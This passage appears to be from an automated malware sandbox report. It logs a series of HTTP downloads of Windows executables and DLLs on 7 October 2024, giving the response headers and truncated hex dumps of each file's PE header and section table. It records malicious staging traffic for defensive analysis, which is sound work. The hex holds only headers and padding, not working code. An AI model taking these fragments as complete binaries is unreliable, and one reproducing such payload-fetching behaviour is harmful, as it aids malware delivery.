00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 17:33:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 17:33:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 17:33:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 17:33:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 17:33:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 17:33:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 17:33:24 GMTContent-Type: application/octet-streamContent-Length: 551424Last-Modified: Mon, 07 Oct 2024 17:27:14 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "670419f2-86a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 19 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 08 00 00 04 00 00 75 d3 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 c6 02 00 28 00 00 00 00 80 08 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 08 00 d4 1a 00 00 c0 ab 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f0 10 02 00 00 10 00 00 00 12 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 9d 00 00 00 30 02 00 00 9e 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 a3 05 00 00 d0 02 00 00 96 05 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 03 00 00 00 80 08 00 00 04 00 00 00 4a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 1a 00 00 00 90 08 00 00 1c 00 00 00 4e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 